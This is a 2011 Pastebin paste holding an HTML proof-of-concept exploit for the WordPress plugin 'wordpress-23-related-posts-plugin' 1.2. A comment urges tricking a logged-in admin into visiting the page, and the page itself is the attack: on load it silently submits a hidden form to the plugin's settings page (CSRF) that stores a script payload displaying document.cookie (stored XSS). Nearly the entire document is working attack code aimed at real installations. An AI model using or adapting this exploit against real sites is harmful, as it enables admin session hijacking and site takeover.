Advertisement
Guest User

woprdress plugin security

a guest
Dec 15th, 2011
160
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 0.73 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>woprdress</title>
  4. <!--
  5.  
  6. wordpress-23-related-posts-plugin 1.2 csrf/xss/script insertion security bug
  7. by: marty_the_dns_guru
  8. http://wordpress.org/extend/plugins/wordpress-23-related-posts-plugin/
  9.  
  10. trick the wordpress admin into visiting this page while logged in, and ..
  11. _hostile take-over_!
  12.  
  13. -->
  14. </head>
  15. <body onload="document.forms['form1'].submit();">
  16. <form method="post" action="http://[host]/wp-admin/options-general.php?page=wp_related_posts.php" id="form1">
  17. <input type="hidden" name="wp_rp_title_option" value="&quot;&gt;&lt;script&gt;alert(/enemy missile!enemy missile!/ + document.cookie);&lt;/script&gt;">
  18. <input type="hidden" name="wp_rp_Submit" value="Save changes">
  19. </form>
  20. </body>
  21. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement